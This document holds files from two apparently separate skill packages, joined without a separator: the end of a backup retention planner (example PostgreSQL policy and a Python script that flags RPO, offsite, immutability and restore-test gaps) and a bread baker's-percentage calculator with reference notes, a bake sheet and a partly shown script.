- <newest backup older than 36 h -> page on-call>
- <job failed / size change > 30% -> ticket>
## Open findings
- <severity code: action, owner, due date>
FILE:examples/clinic-postgres-policy.json
{
"name": "clinic-booking PostgreSQL (pgBackRest to S3)",
"today": "2026-10-24",
"backup_interval_hours": 24,
"backup_duration_hours": 2.5,
"policy": {"daily": 7, "weekly": 4, "monthly": 6, "yearly": 0},
"size": {"full_gb": 180, "daily_change_pct": 3, "growth_pct_per_month": 4, "storage_model": "incremental"},
"requirements": {
"rpo_hours": 4,
"min_history_days": 90,
"legal_retention_years": 3,
"max_storage_gb": 1500,
"restore_test_max_age_days": 90
},
"copies": {"onsite": false, "offsite": true, "immutable": false, "encrypted": true},
"price_per_gb_month": 0.023,
"currency": "USD",
"last_restore_test": "2026-04-14"
}
FILE:scripts/retention_plan.py
#!/usr/bin/env python3
"""Backup retention policy planner (Python 3 standard library only).
Simulates a grandfather-father-son (GFS) retention policy the way restic/borg "keep" rules
work, then reports the restore points you really keep, the gaps between them, storage and
cost, and the gaps against your requirements (RPO, minimum history, legal retention, 3-2-1).
Input JSON:
{"name": "orders-db", "today": "2026-10-24",
"backup_interval_hours": 24, "backup_duration_hours": 1.5,
"policy": {"hourly": 0, "daily": 7, "weekly": 4, "monthly": 12, "yearly": 3},
"size": {"full_gb": 120, "daily_change_pct": 4, "growth_pct_per_month": 3,
"storage_model": "incremental"}, # or "full" (every point is a full copy)
"requirements": {"rpo_hours": 24, "min_history_days": 35, "legal_retention_years": 0,
"max_storage_gb": 0, "restore_test_max_age_days": 90},
"copies": {"onsite": true, "offsite": true, "immutable": false, "encrypted": true},
"price_per_gb_month": 0.023, "currency": "USD",
"last_restore_test": "2026-03-02"} # or null if never tested
Selection rule per tier (newest backup first): keep a backup if its bucket (hour, day, ISO week,
month, year) differs from the previous kept bucket of that tier, until the tier count is used.
A backup kept by several tiers is stored once.
Storage: "full" = points x full size; "incremental" = one full + each later point's changed data
(daily_change_pct x days since the previous kept point, capped at 100%).
Findings (severity):
HIGH RPO_MISSED backup interval longer than the RPO
HIGH HISTORY_SHORT oldest restore point younger than min_history_days
HIGH LEGAL_RETENTION oldest point younger than legal_retention_years
HIGH NO_OFFSITE no offsite copy (breaks 3-2-1)
HIGH NEVER_RESTORED no restore test recorded
HIGH OVERLAP backup takes longer than the interval
MEDIUM RESTORE_TEST_OLD last restore test older than restore_test_max_age_days
MEDIUM NO_IMMUTABLE no immutable/air-gapped copy (ransomware can delete backups)
MEDIUM STORAGE_OVER storage (now or in 12 months) above max_storage_gb
MEDIUM NOT_ENCRYPTED offsite copy not encrypted
LOW TIER_GAP a coarse tier starts long after the finer tier ends (e.g. weekly
4 then monthly: weeks 5-8 have one point a month)
LOW TIGHT_WINDOW backup duration above 50% of the interval
Usage:
python3 retention_plan.py policy.json
python3 retention_plan.py policy.json --json
python3 retention_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import datetime as dt
import json
import sys
TIERS = ["hourly", "daily", "weekly", "monthly", "yearly"]
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def bucket(tier, t):
if tier == "hourly":
return t.strftime("%Y-%m-%d %H")
if tier == "daily":
return t.date().isoformat()
if tier == "weekly":
y, w, _ = t.isocalendar()
return f"{y}-W{w:02d}"
if tier == "monthly":
return t.strftime("%Y-%m")
return str(t.year)
def simulate(policy, interval_h, today):
"""Return (kept list of (datetime, [tiers])) newest first."""
for k in policy:
if k not in TIERS:
raise DataError(f"unknown policy tier '{k}' (use {', '.join(TIERS)})")
if not isinstance(policy[k], int) or policy[k] < 0:
raise DataError(f"policy.{k} must be a whole number >= 0")
if sum(policy.get(t, 0) for t in TIERS) == 0:
raise DataError("policy keeps nothing")
if not interval_h or interval_h <= 0:
raise DataError("backup_interval_hours must be > 0")
span_days = max(policy.get("hourly", 0) / 24, policy.get("daily", 0), policy.get("weekly", 0) * 7,
policy.get("monthly", 0) * 31, policy.get("yearly", 0) * 366) + 400
newest = dt.datetime.combine(today, dt.time(2, 0))
step = dt.timedelta(hours=interval_h)
n = int(span_days * 24 / interval_h) + 1
times = [newest - i * step for i in range(n)]
kept = {}
for tier in TIERS:
want = policy.get(tier, 0)
last = None
for t in times:
if want == 0:
break
b = bucket(tier, t)
if b != last:
kept.setdefault(t, []).append(tier)
last = b
want -= 1
return sorted(kept.items(), key=lambda kv: kv[0], reverse=True)
def storage_gb(kept, size):
full = float(size.get("full_gb", 0))
model = size.get("storage_model", "incremental")
if model not in ("incremental", "full"):
raise DataError("size.storage_model must be 'incremental' or 'full'")
if model == "full":
return full * len(kept)
change = float(size.get("daily_change_pct", 5)) / 100
total = full
for (newer, _), (older, _) in zip(kept, kept[1:]):
days = (newer - older).total_seconds() / 86400
total += full * min(1.0, change * days)
return total
def plan(cfg, today=None):
try:
today = today or dt.date.fromisoformat(cfg.get("today") or dt.date.today().isoformat())
except ValueError:
raise DataError("today must be YYYY-MM-DD")
policy = cfg.get("policy") or {}
interval = float(cfg.get("backup_interval_hours", 24))
kept = simulate(policy, interval, today)
newest = kept[0][0]
ages = [(newest - t).total_seconds() / 86400 for t, _ in kept]
oldest_days = ages[-1]
size = cfg.get("size") or {}
req = cfg.get("requirements") or {}
copies = cfg.get("copies") or {}
price = float(cfg.get("price_per_gb_month", 0))
gb = storage_gb(kept, size)
growth = float(size.get("growth_pct_per_month", 0)) / 100
gb12 = gb * (1 + growth) ** 12
tiers = []
for tier in TIERS:
pts = [(t, a) for (t, tl), a in zip(kept, ages) if tier in tl]
if pts:
tiers.append({"tier": tier, "count": len(pts), "newest_age_days": round(pts[0][1], 1),
"oldest_age_days": round(pts[-1][1], 1)})
gaps = []
for (t1, _), (t2, _), a in zip(kept, kept[1:], ages[1:]):
gaps.append({"from": t2.date().isoformat(), "to": t1.date().isoformat(),
"gap_days": round((t1 - t2).total_seconds() / 86400, 1), "age_days": round(a, 1)})
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
rpo = req.get("rpo_hours")
if rpo and interval > rpo:
add("HIGH", "RPO_MISSED", f"backups every {interval:g} h but RPO is {rpo:g} h; up to {interval:g} h of data can be lost")
mh = req.get("min_history_days")
if mh and oldest_days < mh:
add("HIGH", "HISTORY_SHORT", f"oldest restore point is {oldest_days:.0f} days old; requirement is {mh} days")
ly = req.get("legal_retention_years")
if ly and oldest_days < ly * 365:
add("HIGH", "LEGAL_RETENTION", f"oldest point {oldest_days / 365:.1f} years; legal retention needs {ly} years; yearly N also counts the current year, so set yearly >= {ly + 2} to cover it all year round")
if not copies.get("offsite"):
add("HIGH", "NO_OFFSITE", "no offsite copy; a site loss, account compromise or region outage takes every backup")
dur = cfg.get("backup_duration_hours")
if dur and dur > interval:
add("HIGH", "OVERLAP", f"backup takes {dur:g} h but runs every {interval:g} h; jobs overlap or get skipped")
elif dur and dur > interval / 2:
add("LOW", "TIGHT_WINDOW", f"backup takes {dur:g} h of a {interval:g} h interval; growth will push it into overlap")
lrt = cfg.get("last_restore_test")
max_age = req.get("restore_test_max_age_days", 90)
if not lrt:
add("HIGH", "NEVER_RESTORED", "no restore test recorded; an untested backup is a hope, not a backup")
else:
age = (today - dt.date.fromisoformat(lrt)).days
if age > max_age:
add("MEDIUM", "RESTORE_TEST_OLD", f"last restore test {age} days ago (limit {max_age}); schedule a timed restore")
if not copies.get("immutable"):
add("MEDIUM", "NO_IMMUTABLE", "no immutable or air-gapped copy; ransomware or a stolen admin key can delete every backup")
if copies.get("offsite") and copies.get("encrypted") is False:
add("MEDIUM", "NOT_ENCRYPTED", "offsite copy is not encrypted at rest")
mx = req.get("max_storage_gb")
if mx and max(gb, gb12) > mx:
add("MEDIUM", "STORAGE_OVER", f"storage {gb:.0f} GB now, {gb12:.0f} GB in 12 months; budget {mx} GB")
order = [t for t in TIERS if policy.get(t, 0) > 0]
span = {"hourly": 1 / 24, "daily": 1, "weekly": 7, "monthly": 30.4, "yearly": 365}
for fine, coarse in zip(order, order[1:]):
fine_end = policy[fine] * span[fine]
if span[coarse] >= 4 * fine_end and fine != "hourly":
add("LOW", "TIER_GAP", f"{fine} points cover ~{fine_end:.0f} days, then only one {coarse} point per {span[coarse]:.0f} days")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return {
"name": cfg.get("name", "backup set"), "today": today.isoformat(), "interval_hours": interval,
"restore_points": len(kept), "oldest_age_days": round(oldest_days, 1),
"tiers": tiers, "largest_gaps": sorted(gaps, key=lambda g: -g["gap_days"])[:5],
"storage_gb": round(gb, 1), "storage_gb_12m": round(gb12, 1),
"monthly_cost": round(gb * price, 2), "monthly_cost_12m": round(gb12 * price, 2),
"currency": cfg.get("currency", "USD"), "storage_model": size.get("storage_model", "incremental"),
"kept": [{"time": t.strftime("%Y-%m-%d %H:%M"), "tiers": tl} for t, tl in kept],
"findings": findings,
}
def age_label(d):
if d < 2:
return f"{d * 24:.0f} h"
if d < 60:
return f"{d:.0f} d"
if d < 730:
return f"{d / 30.4:.1f} mo"
return f"{d / 365:.1f} y"
def render(r):
out = [f"# Backup retention plan: {r['name']} (as of {r['today']})", "",
f"Backups every {r['interval_hours']:g} h -> {r['restore_points']} restore points kept, oldest {age_label(r['oldest_age_days'])} old",
f"Storage ({r['storage_model']}): {r['storage_gb']:.0f} GB now, {r['storage_gb_12m']:.0f} GB in 12 months"
f" -> {r['monthly_cost']:.2f} -> {r['monthly_cost_12m']:.2f} {r['currency']}/month", "",
"| Tier | Points | Newest age | Oldest age |", "|---|---|---|---|"]
for t in r["tiers"]:
out.append(f"| {t['tier']} | {t['count']} | {age_label(t['newest_age_days'])} | {age_label(t['oldest_age_days'])} |")
out += ["", "## Largest gaps between restore points", "| Older point | Newer point | Gap | Age of older point |", "|---|---|---|---|"]
for g in r["largest_gaps"]:
out.append(f"| {g['from']} | {g['to']} | {g['gap_days']:g} d | {age_label(g['age_days'])} |")
out += ["", "## Restore points kept"]
out.append(", ".join(f"{k['time'][:10]} ({'/'.join(x[0].upper() for x in k['tiers'])})" for k in r["kept"]))
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']}: {f['message']}")
return "\n".join(out) + "\n"
def self_test():
ok = 0
tests = []
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
today = dt.date(2026, 10, 24)
base = {"today": "2026-10-24", "backup_interval_hours": 24, "policy": {"daily": 7, "weekly": 4, "monthly": 12},
"size": {"full_gb": 100, "daily_change_pct": 2}, "requirements": {"rpo_hours": 24, "min_history_days": 35},
"copies": {"offsite": True, "immutable": True, "encrypted": True}, "last_restore_test": "2026-10-01"}
r = plan(base, today)
# daily 7 = 7 newest days; weekly 4 overlaps with dailies; monthly 12
check("daily 7 + weekly 4 + monthly 12 -> 20 distinct points", r["restore_points"] == 20)
check("clean policy has no findings", r["findings"] == [])
check("oldest point is the 2025-11-30 monthly", r["kept"][-1]["time"].startswith("2025-11-30"))
k = simulate({"daily": 3}, 24, today)
check("daily 3 keeps 3 newest days", [t.date().day for t, _ in k] == [24, 23, 22])
k = simulate({"hourly": 6}, 1, today)
check("hourly 6 keeps 6 points one hour apart", len(k) == 6 and (k[0][0] - k[5][0]) == dt.timedelta(hours=5))
k = simulate({"weekly": 2}, 24, today)
check("weekly keeps newest of each ISO week", [t.date().isoformat() for t, _ in k] == ["2026-10-24", "2026-10-18"])
k = simulate({"monthly": 2}, 24, today)
check("monthly keeps last day of previous month", [t.date().isoformat() for t, _ in k] == ["2026-10-24", "2026-09-30"])
k = simulate({"daily": 2, "weekly": 1}, 24, today)
check("point kept by two tiers stored once", len(k) == 2 and k[0][1] == ["daily", "weekly"])
k = simulate({"daily": 7}, 12, today)
check("12 h interval: daily keeps newest per day", len(k) == 7 and [t.hour for t, _ in k[:2]] == [2, 14])
check("full storage = points x full", storage_gb([(dt.datetime(2026, 1, 2), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 50, "storage_model": "full"}) == 100)
check("incremental storage = full + change x days", abs(storage_gb([(dt.datetime(2026, 1, 11), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 100, "daily_change_pct": 2}) - 120) < 1e-9)
check("incremental change capped at 100%", storage_gb([(dt.datetime(2026, 6, 1), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 10, "daily_change_pct": 5}) == 20)
def codes(**over):
c = json.loads(json.dumps(base))
for key, val in over.items():
if key != "policy" and isinstance(val, dict) and isinstance(c.get(key), dict):
c[key].update(val)
else:
c[key] = val
return {f["code"] for f in plan(c, today)["findings"]}
check("RPO missed HIGH", "RPO_MISSED" in codes(requirements={"rpo_hours": 4}))
check("history short HIGH", "HISTORY_SHORT" in codes(policy={"daily": 14}))
check("legal retention HIGH", "LEGAL_RETENTION" in codes(requirements={"legal_retention_years": 7}))
check("yearly 9 satisfies legal 7, yearly 8 does not", "LEGAL_RETENTION" in codes(policy={"daily": 7, "monthly": 12, "yearly": 8}, requirements={"legal_retention_years": 7}) and "LEGAL_RETENTION" not in codes(policy={"daily": 7, "monthly": 12, "yearly": 9}, requirements={"legal_retention_years": 7}))
check("no offsite HIGH", "NO_OFFSITE" in codes(copies={"offsite": False}))
check("never restored HIGH", "NEVER_RESTORED" in codes(last_restore_test=None))
check("restore test old MEDIUM", "RESTORE_TEST_OLD" in codes(last_restore_test="2026-01-01"))
check("no immutable MEDIUM", "NO_IMMUTABLE" in codes(copies={"immutable": False}))
check("not encrypted MEDIUM", "NOT_ENCRYPTED" in codes(copies={"encrypted": False}))
check("overlap HIGH", "OVERLAP" in codes(backup_duration_hours=30))
check("tight window LOW", "TIGHT_WINDOW" in codes(backup_duration_hours=14))
check("storage over MEDIUM", "STORAGE_OVER" in codes(requirements={"max_storage_gb": 150}))
check("tier gap LOW (daily 7 then monthly)", "TIER_GAP" in codes(policy={"daily": 7, "monthly": 12}))
try:
plan({"policy": {"daily": 0}}, today)
check("empty policy rejected", False)
except DataError:
check("empty policy rejected", True)
try:
plan({"policy": {"fortnightly": 2}}, today)
check("unknown tier rejected", False)
except DataError:
check("unknown tier rejected", True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Backup retention (GFS) policy planner")
ap.add_argument("policy", nargs="?", help="policy JSON file")
ap.add_argument("--json", action="store_true", help="print JSON instead of Markdown")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.policy:
ap.error("policy file required")
try:
with open(a.policy, encoding="utf-8") as fh:
cfg = json.load(fh)
r = plan(cfg)
except (OSError, json.JSONDecodeError, DataError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="" if not a.json else "\n")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Turns any bread recipe into true baker's percentages and scales it to the loaves or dough balls you want. Counts the flour and water inside the levain and the water in milk, eggs or honey, then reports real hydration, salt, prefermented flour, yeast and whole grain. Flags missing or off salt, no leavening, too much yeast or levain, and hydration outside the range for the style. Includes a stdlib Python calculator with --self-test.
---
name: bread-dough-bakers-percentage-calculator
description: Turns any bread recipe into true baker's percentages and scales it to the loaves or dough balls you want. Counts the flour and water inside the levain and the water in milk, eggs or honey, then reports real hydration, salt, prefermented flour, yeast and whole grain. Flags missing or off salt, no leavening, too much yeast or levain, and hydration outside the range for the style. Includes a stdlib Python calculator with --self-test.
---
# Bread Dough Baker's Percentage Calculator
You help home bakers understand, fix and scale bread recipes. From a recipe in grams (or converted to grams), you calculate true baker's percentages, compare them with what the bread style usually needs, explain what each number does to the dough, and give a scaled ingredient list for the exact number and size of loaves, rolls or pizza balls they want to bake.
## Files in this skill
- `scripts/dough_calc.py` - reads a recipe JSON and prints totals, a baker's percentage table, a scaled recipe and findings (Python 3 standard library only)
- `references/bakers-math.md` - baker's percentages, true vs recipe percentages, levain and extras water, key ranges, yeast conversions, hydration by style and scaling
- `references/fermentation-and-troubleshooting.md` - timelines, dough temperature, what each finding means for the dough, symptoms and fixes, doneness
- `templates/bake-sheet.md` - a bake sheet with the formula, timeline and notes for the next bake
- `examples/weekend-whole-wheat-sourdough.json` - a whole wheat and rye sourdough with a levain, a little instant yeast, honey and olive oil, scaled to two 1 kg loaves
## Workflow
### 1. Get the recipe in grams
Ask for every ingredient by weight. Convert cups and spoons with care (1 cup bread flour is about 125-135 g, 1 cup water 236 g, 1 tsp fine salt about 6 g, 1 tsp instant yeast about 3 g) and say the conversion is approximate. Ask for the levain hydration, which flours are whole grain, the bread style, the yeast type, and how many pieces of what weight they want.
### 2. Run the calculator
```
python3 scripts/dough_calc.py examples/weekend-whole-wheat-sourdough.json
python3 scripts/dough_calc.py recipe.json --pieces 6 --piece-weight 270 --json
python3 scripts/dough_calc.py --self-test
```
Styles: bagel, pizza_neapolitan, sandwich_loaf, enriched_brioche, baguette, sourdough_boule, whole_wheat_loaf, ciabatta, focaccia. Exit code 1 means HIGH findings, 2 means bad input.
### 3. Explain and adjust
Give the key numbers first (hydration, salt, leavening), then each finding with the reason and a concrete gram change from `references/bakers-math.md`. Suggest only one or two changes per bake so the baker can see what each did. Use `references/fermentation-and-troubleshooting.md` for timing and for problems they describe (flat loaf, dense crumb, too sour).
### 4. Deliver
Give the scaled recipe and fill `templates/bake-sheet.md` with the formula, a timeline for their kitchen temperature and a place for notes.
## Example result
For `examples/weekend-whole-wheat-sourdough.json`: total flour is 1100 g (100 g of it in the levain) and total water 785 g, so true hydration is 71.4%, salt 1.4%, prefermented flour 9.1%, instant yeast 0.27% and whole grain 38.2%. Salt is low (MEDIUM; 22 g gives 2%) and the 38% whole grain would like about 5 more points of water (LOW). Scaled to 2 x 1000 g plus 2% loss (factor 1.047): 628 g bread flour, 314 g whole wheat, 105 g rye, 712 g water, 15.7 g salt (raise to about 23 g), 209 g levain, 3.1 g yeast, 31 g honey, 21 g olive oil.
## Rules
- Work in grams; say when a volume-to-weight conversion is approximate.
- Always state whether percentages are true (including levain and extras) or recipe percentages.
- Change one or two things at a time and explain the effect on taste, texture and timing.
- Fermentation times depend on temperature and starter strength; give ranges and the signs to watch, not exact minutes.
FILE:references/bakers-math.md
# Baker's Math
## Baker's percentages
Every ingredient is written as a percentage of the **total flour weight**, which is always 100%. A recipe with 1000 g flour, 700 g water, 20 g salt and 5 g instant yeast is 100 / 70 / 2 / 0.5. Percentages make recipes easy to compare, scale and adjust: change one number, keep the rest.
## True vs recipe percentages
Recipes often give percentages of the flour added in the final mix only. True (overall) percentages also count:
- the flour and water inside the levain or preferment
- the water inside wet extras
`scripts/dough_calc.py` always reports true percentages, so its table rows for the added flours sum to less than 100% when a levain is used (the rest of the flour is inside the levain).
| Levain hydration | Flour in 100 g levain | Water in 100 g levain |
|---|---|---|
| 50% (stiff) | 66.7 g | 33.3 g |
| 75% | 57.1 g | 42.9 g |
| 100% (liquid) | 50 g | 50 g |
| 125% | 44.4 g | 55.6 g |
Formula: flour = levain / (1 + hydration / 100); water = levain - flour.
## Water in common extras
| Ingredient | Water content |
|---|---|
| Whole milk | 87% |
| Whole egg (without shell, ~50 g) | 75% |
| Egg yolk | 50% |
| Butter | 16% |
| Honey | 17% |
| Yogurt | 85% |
| Mashed potato | 80% |
| Olive oil, sugar, seeds | 0% (fat and sugar still soften dough) |
## Key numbers
| Measure | Typical | Notes |
|---|---|---|
| Salt | 1.8-2.2% | under 1.6% bland and slack; over 2.5% salty, slows fermentation |
| Instant yeast (straight dough) | 0.5-1.5% | 0.1-0.3% for overnight cold rise |
| Levain, as prefermented flour | 10-25% | more = faster and more sour |
| Sugar (enriched) | 5-15% | over ~10% use osmotolerant yeast or more yeast |
| Fat (enriched) | 3-50% | brioche 40-60% butter |
Yeast conversions (same rising power): instant 1 g = active dry 1.25 g = fresh about 3 g. The script expresses all yeast as the instant equivalent.
## Hydration by style
| Style | Hydration % | Texture |
|---|---|---|
| Bagel | 50-58 | dense, chewy |
| Neapolitan pizza | 58-65 | soft, puffy rim |
| Sandwich loaf | 60-68 | even, tight crumb |
| Enriched / brioche (incl. milk and eggs) | 55-70 | soft, rich |
| Baguette | 65-75 | open, crisp crust |
| Sourdough boule | 68-80 | open crumb |
| Whole wheat loaf | 70-85 | whole grain absorbs more |
| Ciabatta | 75-85 | very open, holes |
| Focaccia | 75-90 | airy, oily |
Flour matters: high-protein bread flour and whole grain take more water; low-protein all-purpose or many European T55/Type 550 flours take less. Start 3-5 points lower with a new flour and add water during mixing (bassinage).
## Scaling
1. Decide pieces and weight per piece (loaf, roll, pizza ball).
2. Add 1-3% for losses in the bowl and on the bench.
3. Factor = target dough weight / current dough weight; multiply every ingredient.
4. Round grams sensibly: 1 g for flour and water, 0.1 g for salt and yeast (use a 0.1 g scale for small amounts).
Pan loaves: dough weight is about 0.55-0.6 g per cm3 of tin volume (a 900 g / 2 lb tin takes about 850-950 g dough).
FILE:references/fermentation-and-troubleshooting.md
# Fermentation and Troubleshooting
## Timeline for a typical lean dough
| Step | Yeasted (1% instant) | Sourdough (15-20% levain) |
|---|---|---|
| Mix and rest | 20-30 min autolyse optional | 30-60 min autolyse optional |
| Bulk fermentation at 24-26 C | 1.5-2 h, rise ~75-100% | 4-6 h, rise ~50-75% |
| Folds | 1-2 sets | 3-4 sets in the first 2 h |
| Shape, final proof | 45-75 min | 1-3 h, or 8-16 h in the fridge |
| Bake | 220-230 C | 240-250 C covered 20 min, then 220-230 C uncovered |
Aim for a dough temperature of 24-26 C after mixing. Adjust with water temperature: desired water temperature = 3 x desired dough temperature - flour temperature - room temperature - friction (about 2-6 C for hand mixing, more in a mixer). With a levain use 4 x and subtract the levain temperature as well.
## Temperature rule of thumb
Fermentation roughly halves in time for every +8 C and doubles for every -8 C. A sourdough bulk of 5 h at 24 C takes about 8 h at 20 C.
## Reading the numbers from the script
- **SALT_LOW / SALT_HIGH:** fix salt first; it changes taste, gluten strength and fermentation speed.
- **HYDRATION_HIGH:** expect sticky dough that spreads; use wet hands, more folds, or hold back 5% of the water.
- **HYDRATION_LOW:** tight crumb and a stiff mix; add water in small additions.
- **YEAST_HIGH:** shorten bulk, or cut yeast to fit your schedule (0.2-0.5% for a long cold rise).
- **LEVAIN_HIGH:** shorter, warmer-tasting ferment that can overproof; drop the levain to 10-20% or ferment cooler.
- **WHOLE_GRAIN_THIRSTY:** add 5-10 points of water or soak the whole grain flour 30-60 min first.
## Symptoms and fixes
| Problem | Likely cause | Fix |
|---|---|---|
| Flat, spreading loaf | overproofed, too wet for the flour, weak shaping | shorter proof, 3-5 points less water, tighter shaping, use a banneton |
| Dense, tight crumb | underproofed, too little water, weak starter | longer bulk, warmer dough, feed starter until it doubles in 4-6 h |
| Big hole under crust (flying crust) | underproofed or poor shaping | longer final proof, degas gently while shaping |
| Pale crust | oven not hot enough, overproofed, no steam | preheat 45-60 min, steam the first 15-20 min |
| Gummy crumb | cut too early, underbaked | bake to 96-98 C inside, cool 1-2 h before slicing |
| Very sour | long warm ferment, levain past peak | use a younger levain, less levain, shorter or cooler bulk |
| Tastes bland | salt under 1.8%, too fast | weigh salt, use less yeast and a longer, cooler rise |
## Doneness and food safety
- Bake lean bread to 93-98 C in the centre and enriched bread to 85-90 C (instant-read thermometer).
- Raw flour can carry bacteria: do not taste raw dough.
- A starter with pink, orange or fuzzy mould is unsafe; discard it.
FILE:templates/bake-sheet.md
# Bake Sheet - <recipe name> - <date>
**Style:** <sourdough boule> **Pieces:** <2 x 1000 g> **Kitchen temperature:** <22 C>
## Formula (true baker's percentages)
| Ingredient | % | Grams (this bake) |
|---|---|---|
| Flour total | 100 | |
| Water total | | |
| Salt | | |
| Levain / yeast | | |
| Extras | | |
Hydration <..>% | salt <..>% | prefermented flour <..>% | whole grain <..>%
## Changes from last time
- <e.g. +15 g salt to reach 2%, +50 g water for the whole grain>
## Timeline
| Step | Planned | Actual | Notes (dough temperature, rise %) |
|---|---|---|---|
| Feed levain | | | |
| Mix | | | |
| Bulk end | | | |
| Shape | | | |
| Proof end | | | |
| Bake | | | |
## Result
- Crumb: <open / tight / gummy> - Crust: <colour, thickness> - Taste: <salt, sourness>
- Next time: <one change only>
FILE:examples/weekend-whole-wheat-sourdough.json
{
"name": "Weekend whole wheat sourdough",
"style": "sourdough_boule",
"flours": [
{"name": "bread flour (12.5% protein)", "grams": 600},
{"name": "whole wheat flour", "grams": 300, "whole_grain": true},
{"name": "whole rye flour", "grams": 100, "whole_grain": true}
],
"water_g": 680,
"salt_g": 15,
"levain": {"grams": 200, "hydration_pct": 100, "whole_grain_pct": 20},
"yeast": {"type": "instant", "grams": 3},
"extras": [
{"name": "honey", "grams": 30, "water_pct": 17},
{"name": "olive oil", "grams": 20, "water_pct": 0}
],
"target": {"pieces": 2, "piece_weight_g": 1000},
"loss_pct": 2
}
FILE:scripts/dough_calc.py
#!/usr/bin/env python3
"""Bread dough baker's percentage calculator (Python 3 standard library only).
Input JSON:
{"name": "...", "style": "sourdough_boule",
"flours": [{"name": "bread flour", "grams": 800}, {"name": "whole wheat", "grams": 200, "whole_grain": true}],
"water_g": 700, "salt_g": 20,
"levain": {"grams": 200, "hydration_pct": 100, "whole_grain_pct": 0}, (optional)
"yeast": {"type": "instant|active_dry|fresh", "grams": 0}, (optional)
"extras": [{"name": "milk", "grams": 100, "water_pct": 87}], (optional)
"target": {"pieces": 3, "piece_weight_g": 900}, "loss_pct": 2} (optional)
Totals count the flour and water inside the levain and the water inside extras (milk ~87%,
whole egg ~75%, butter ~16%), so hydration and salt are the TRUE percentages of all flour.
hydration % = all water / all flour x 100
salt % = salt / all flour x 100
prefermented flour % = flour in the levain / all flour x 100
yeast = instant-yeast equivalent (active dry x 0.8, fresh x 0.33) / all flour x 100
Scaling: factor = pieces x piece weight x (1 + loss %) / current dough weight; grams rounded to 1 g,
salt and yeast to 0.1 g.
Findings (severity):
HIGH NO_SALT no salt (bland, slack, fast dough) - unless salt_free is true
HIGH SALT_HIGH salt above 2.5% of flour
HIGH NO_LEAVEN no yeast and no levain (dough will not rise)
HIGH HYDRATION_FAR hydration more than 10 points outside the style range
MEDIUM SALT_LOW salt below 1.6%
MEDIUM HYDRATION_HIGH/LOW hydration outside the style range
MEDIUM YEAST_HIGH instant-equivalent yeast above 2% (or above 1% together with a levain)
MEDIUM LEVAIN_HIGH prefermented flour above 35% (overproofs, sour, slack)
LOW LEVAIN_LOW levain-only dough with under 5% prefermented flour (very slow)
LOW WHOLE_GRAIN_THIRSTY 30%+ whole grain with hydration under 72%
LOW UNKNOWN_STYLE style not in the table; no hydration check
Usage:
python3 dough_calc.py recipe.json
python3 dough_calc.py recipe.json --pieces 4 --piece-weight 250 --json
python3 dough_calc.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import sys
STYLES = { # typical hydration range in % (true, incl. levain and extras water)
"bagel": (50, 58),
"pizza_neapolitan": (58, 65),
"sandwich_loaf": (60, 68),
"enriched_brioche": (55, 70),
"baguette": (65, 75),
"sourdough_boule": (68, 80),
"whole_wheat_loaf": (70, 85),
"ciabatta": (75, 85),
"focaccia": (75, 90),
}
YEAST_FACTOR = {"instant": 1.0, "active_dry": 0.8, "fresh": 0.33}
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def g(x, what):
try:
v = float(x)
except (TypeError, ValueError):
raise DataError(f"{what} must be a number, got {x!r}")
if v < 0:
raise DataError(f"{what} must be >= 0")
return v
def analyze(rec, pieces=None, piece_weight=None):
flours = rec.get("flours") or []
if not flours:
raise DataError("at least one flour is required")
lines = [] # (name, grams, kind)
added_flour = whole = 0.0
for i, fl in enumerate(flours):
w = g(fl.get("grams"), f"flours[{i}].grams")
added_flour += w
if fl.get("whole_grain"):
whole += w
lines.append((fl.get("name") or f"flour {i + 1}", w, "flour"))
water = g(rec.get("water_g", 0), "water_g")
salt = g(rec.get("salt_g", 0), "salt_g")
lines += [("water", water, "water"), ("salt", salt, "salt")]
lev = rec.get("levain") or {}
lev_g = g(lev.get("grams", 0), "levain.grams")
lev_flour = lev_water = 0.0
if lev_g:
h = g(lev.get("hydration_pct", 100), "levain.hydration_pct")
if h <= 0:
raise DataError("levain.hydration_pct must be > 0")
lev_flour = lev_g / (1 + h / 100)
lev_water = lev_g - lev_flour
whole += lev_flour * g(lev.get("whole_grain_pct", 0), "levain.whole_grain_pct") / 100
lines.append((f"levain ({h:g}% hydration)", lev_g, "levain"))
y = rec.get("yeast") or {}
y_g = g(y.get("grams", 0), "yeast.grams")
y_type = y.get("type", "instant")
if y_type not in YEAST_FACTOR:
raise DataError(f"yeast.type must be one of {', '.join(YEAST_FACTOR)}")
if y_g:
lines.append((f"{y_type.replace('_', ' ')} yeast", y_g, "yeast"))
extra_water = 0.0
for i, ex in enumerate(rec.get("extras") or []):
w = g(ex.get("grams"), f"extras[{i}].grams")
extra_water += w * g(ex.get("water_pct", 0), f"extras[{i}].water_pct") / 100
lines.append((ex.get("name") or f"extra {i + 1}", w, "extra"))
flour = added_flour + lev_flour
if flour <= 0:
raise DataError("total flour must be > 0")
total_water = water + lev_water + extra_water
dough = sum(w for _, w, _ in lines)
pct = lambda x: round(100 * x / flour, 1)
res = {
"name": rec.get("name", "recipe"), "style": rec.get("style"),
"total_flour_g": round(flour, 1), "total_water_g": round(total_water, 1), "dough_weight_g": round(dough, 1),
"hydration_pct": pct(total_water), "salt_pct": pct(salt), "prefermented_flour_pct": pct(lev_flour),
